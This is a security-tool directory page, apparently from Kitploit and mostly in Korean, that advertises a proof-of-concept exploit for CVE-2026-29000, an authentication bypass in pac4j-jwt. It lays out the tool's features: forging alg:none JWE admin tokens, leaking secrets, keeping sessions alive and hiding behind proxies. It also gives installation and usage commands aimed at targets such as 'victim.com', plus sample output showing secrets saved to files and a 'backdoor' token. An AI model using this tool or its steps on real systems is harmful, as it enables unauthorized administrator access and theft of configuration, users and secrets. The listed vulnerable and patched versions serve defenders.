Skip to content
KitploitKITPLOIT
도구익스플로잇블로그
Log in
제출
도구익스플로잇블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

피드문의개인정보© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2026-29000-PoC-Exploit — CVE-2026-29000 – pac4j-jwt 인증 우회 (CVSS 10.0). 공개 키 JWE 래핑을 통한 원클릭 관리자 위조. 구성, 사용자, 시크릿 유출. Keep-alive, 프록시, 사용자 지정 JWKS. 교육용 PoC 익스플로잇 도구. | Kitploit
도구/GitHubGitHub/tc4dy/cve-2026-29000-poc-exploit
Authentication & AuthorizationPayload GenerationVulnerability AnalysisExploitationWeb Application ExploitationInformation GatheringPenetration TestingLearning & Education

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유
Red Teaming
GitHubtc4dy/cve-2026-29000-poc-exploit

CVE-2026-29000-PoC-Exploit

CVE-2026-29000 – pac4j-jwt 인증 우회 (CVSS 10.0). 공개 키 JWE 래핑을 통한 원클릭 관리자 위조. 구성, 사용자, 시크릿 유출. Keep-alive, 프록시, 사용자 지정 JWKS. 교육용 PoC 익스플로잇 도구.

저장소 보기
3177일 전아직 검토되지 않음

CVE-2026-29000 - pac4j-jwt 인증 우회 익스플로잇

Python CVSS License Pentesting

CVE-2026-29000 - JWT alg:none + JWE 암호화를 통한 원클릭 관리자 권한 획득

> 개요

이 익스플로잇은 pac4j-jwt 라이브러리의 치명적인 CVSS 10.0 취약점인 CVE-2026-29000을 무기화합니다. 서버의 공개 JWKS 키를 추출하고 alg: none을 사용하여 암호화된 JWE 토큰을 위조함으로써 완전한 인증 우회를 달성하고 단 한 번의 클릭으로 전체 관리자 권한을 부여합니다.

[</>] 주요 기능

  • [+] 인증 불필요 - 사전 인증 익스플로잇, 유효한 자격 증명 불필요
  • [+] 자동 JWKS 탐색 - 15개 이상의 엔드포인트 스캔, 사용자 지정 경로 지원
  • [+] RSA 키 추출 - 공개 키를 가져와 즉석에서 JWK→PEM 변환
  • [+] JWT + JWE 위조 - alg:none JWT를 생성하고 서버 자체의 공개 키로 래핑
  • [+] 전체 관리자 토큰 - ROLE_ADMIN, admin:true, 만료 시간 구성 가능
  • [+] 인증 우회 - 8개 이상의 보호된 엔드포인트를 자동으로 테스트
  • [+] 지능형 정보 유출 - 20개 이상의 민감한 API 경로 열거
  • [+] 세션 지속성 - keep-alive 스레드가 접근 권한 유지
  • [+] 프록시 지원 - 익명성을 위한 HTTP/HTTPS 프록시
  • [+] 파일 내보내기 - 위조된 토큰 + 유출된 데이터를 파일로 저장
  • [+] 재시도 메커니즘 - 불안정한 연결을 위한 구성 가능한 재시도
  • [+] 컬러 출력 - 전문적인 단계 기반 시각적 피드백
  • [+] 상세 모드 - 문제 해결을 위한 디버그 로깅
  • [+] 하드코딩된 지연 없음 - 재시도 백오프와 keep-alive 핑만 존재

취약한 버전

라이브러리영향받는 버전패치된 버전
pac4j-jwt< 5.1.5≥ 5.1.5
pac4j-jwt4.x < 4.5.8≥ 4.5.8
pac4j-jwt3.x < 3.18.6≥ 3.18.6

[!] 면책 조항: 이 도구는 승인된 보안 테스트 및 레드팀 참여 전용입니다.

설치

git clone https://github.com/tc4dy/CVE-2026-29000-PoC-Exploit.git
cd CVE-2026-29000-PoC-Exploit
pip install -r requirements.txt
python exploit.py --help

requirements.txt:

requests>=2.31.0
urllib3>=2.0.0
pyjwt>=2.8.0
cryptography>=41.0.0
jwcrypto>=1.5.0
colorama>=0.4.6

사용법

기본 원샷 익스플로잇

python exploit.py --target https://victim.com:8443

Save Forged Token + Leak Data
bash

python exploit.py -t https://target.corp:9443 -o admin.jwe -l stolen.txt

Verbose Mode with Custom JWKS
bash

python exploit.py -t https://example.com:8080 --jwks /oauth/jwks.json -v

With Proxy and No Keep-Alive
bash

python exploit.py -t https://192.168.1.100:443 --proxy http://127.0.0.1:8080 --no-keep-alive

Custom Keep-Alive Interval
bash

python exploit.py -t https://victim.com:8443 --delay 10 --max-retries 5

SSL Verification Enabled

python exploit.py -t https://legit.com:8443 --ssl-verify

명령줄 인수

인수 단축 필수 기본값 설명 --target -t 예 - 대상 URL (예: https://example.com:8443) --jwks -k 아니요 자동 감지 사용자 지정 JWKS 엔드포인트 경로 --output -o 아니요 없음 위조된 JWE 토큰을 파일에 저장 --leak -l 아니요 leaked_TIMESTAMP.txt 유출된 데이터를 파일에 저장 --verbose -v 아니요 False 디버그 출력 활성화 --proxy -p 아니요 없음 HTTP/HTTPS 프록시 --user-agent -ua 아니요 Mozilla/5.0... 사용자 지정 User-Agent --no-keep-alive - 아니요 False 세션 keep-alive 비활성화 --delay - 아니요 5.0 Keep-alive 핑 간격 (초) --max-retries - 아니요 3 실패한 요청당 최대 재시도 횟수 --ssl-verify - 아니요 False SSL 인증서 확인

출력 예시

$ python exploit.py -t https://10.10.10.100:8443 -o backdoor.jwe -l leak.txt

════════════════════════════════════════════════════════════════
   CVE-2026-29000 - pac4j-jwt Authentication Bypass Exploit                 
             The Educational One‑Click Admin Forge                     
                    CVSS 10.0 - CRITICAL                              
════════════════════════════════════════════════════════════════

[11:23:15] STAGE 1: JWKS에서 RSA 공개 키 획득 중 [11:23:15] JWKS 엔드포인트 탐색 중... [11:23:16] /realms/master/protocol/openid-connect/certs에서 JWKS 발견 [11:23:16] RSA 공개 키 추출 성공

[11:23:16] STAGE 2: alg:none을 사용한 JWT 생성 및 JWE로 암호화 [11:23:16] 위조된 JWE 토큰 (잘림): eyJhbGciOiJSU0EtT0FFUC0yNTYiLCJlbmMiOiJBMjU2R0... [11:23:16] ✓ 토큰이 backdoor.jwe에 저장됨

[11:23:16] STAGE 3: 위조된 JWE를 Bearer 토큰으로 전송 [11:23:17] ✓ 인증 성공! /api/users/me에 대한 접근 권한 획득

[11:23:17] STAGE 4: 접근 가능한 엔드포인트 열거 및 민감한 데이터 노출 [11:23:18] ✓ 유출됨: /actuator/env (상태 200) [11:23:18] ✓ 유출됨: /api/users (상태 200) [11:23:18] ✓ 유출됨: /api/secrets (상태 200) [11:23:18] ✓ 유출됨: /config/server (상태 200) [11:23:18] ✓ 민감한 엔드포인트 4개 캡처됨 → leak.txt에 저장됨

[11:23:18] 연결 유지 세션 활성화됨 (중지하려면 Ctrl+C) [11:23:18] 토큰(JWE)은 약 1시간 동안 유효 – 만료 시 재생성 필요

관련 익스플로잇

다른 익스플로잇 저장소도 확인해 보세요:

  • CVE-2026-41940
  • CVE-2026-0073
  • CVE-2026-29000
도구 다운로드